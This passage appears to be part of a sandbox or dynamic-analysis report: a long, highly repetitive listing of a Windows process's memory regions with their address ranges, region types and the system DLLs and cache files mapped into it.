"private_0x000000007efd5000" filename = "" Region: id = 4864 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4865 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4866 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4867 start_va = 0x2fa0000 end_va = 0x33affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002fa0000" filename = "" Region: id = 4868 start_va = 0x120000 end_va = 0x132fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 4869 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 4870 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4871 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4872 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4873 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4874 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4875 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4876 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4877 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4878 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4879 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4880 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4881 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4882 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4883 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4893 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4894 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4895 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4896 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4897 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4898 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4899 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4900 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4901 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4902 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4903 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4904 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4905 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4906 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4907 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4908 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4909 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4910 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4911 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4912 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4913 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4974 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4975 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4976 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4977 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4978 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4979 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4980 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4981 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4982 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4983 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4984 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4985 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4986 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4987 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4988 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4989 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4990 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4991 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4992 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4993 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 4994 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5051 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5052 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5053 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5054 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5055 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5056 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5057 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5058 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5059 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5060 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5061 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5062 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5063 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5064 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5065 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5066 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5067 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5068 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5069 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5131 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5132 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5133 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5134 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5135 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5136 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5137 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5138 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5139 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5140 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5141 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5142 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5143 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5144 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5145 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5146 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5147 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5148 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5149 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5150 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5151 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5217 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5218 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5219 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5220 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5221 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5222 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5223 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5224 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5225 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5226 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5227 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5228 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5229 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5230 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5231 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5232 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5233 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5234 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5235 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5236 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5308 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5309 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5310 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5311 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5312 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5313 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5314 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5315 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5316 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5317 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5318 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5319 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5320 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5321 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5322 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5323 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5324 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5325 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5326 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5327 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5328 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5336 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5337 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5338 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5339 start_va = 0x749d0000 end_va = 0x749e0fff entry_point = 0x749d1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 5340 start_va = 0x749c0000 end_va = 0x749c8fff entry_point = 0x749c15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 5341 start_va = 0x749a0000 end_va = 0x749b8fff entry_point = 0x749a1319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 5342 start_va = 0x74990000 end_va = 0x7499efff entry_point = 0x749912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 5345 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5346 start_va = 0x2b90000 end_va = 0x2f9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5347 start_va = 0x2fa0000 end_va = 0x33affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002fa0000" filename = "" Region: id = 5348 start_va = 0x120000 end_va = 0x132fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 5349 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5353 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5354 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5355 start_va = 0x110000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5593 start_va = 0x110000 end_va = 0x110fff entry_point = 0x110000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 5594 start_va = 0x120000 end_va = 0x126fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 5595 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 5596 start_va = 0x2b90000 end_va = 0x2f82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 5597 start_va = 0x110000 end_va = 0x110fff entry_point = 0x110000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 5666 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 5667 start_va = 0x752e0000 end_va = 0x7543bfff entry_point = 0x7532ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5668 start_va = 0x73a80000 end_va = 0x73afffff entry_point = 0x73a937c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5669 start_va = 0x930000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 5677 start_va = 0xcd0000 end_va = 0xdaefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 5678 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 5679 start_va = 0x74cb0000 end_va = 0x74e4dfff entry_point = 0x74cde6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 5680 start_va = 0x150000 end_va = 0x150fff entry_point = 0x150000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 5681 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 5682 start_va = 0x75ed0000 end_va = 0x75f5efff entry_point = 0x75ed3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 5683 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 5684 start_va = 0x758e0000 end_va = 0x75962fff entry_point = 0x758e23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 5685 start_va = 0x500000 end_va = 0x500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 5686 start_va = 0x73980000 end_va = 0x73a74fff entry_point = 0x73990d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 5687 start_va = 0x751b0000 end_va = 0x751d0fff entry_point = 0x751b145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 5688 start_va = 0x75f60000 end_va = 0x75fa4fff entry_point = 0x75f611e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 5689 start_va = 0x720000 end_va = 0x723fff entry_point = 0x720000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5690 start_va = 0x930000 end_va = 0x956fff entry_point = 0x930000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk 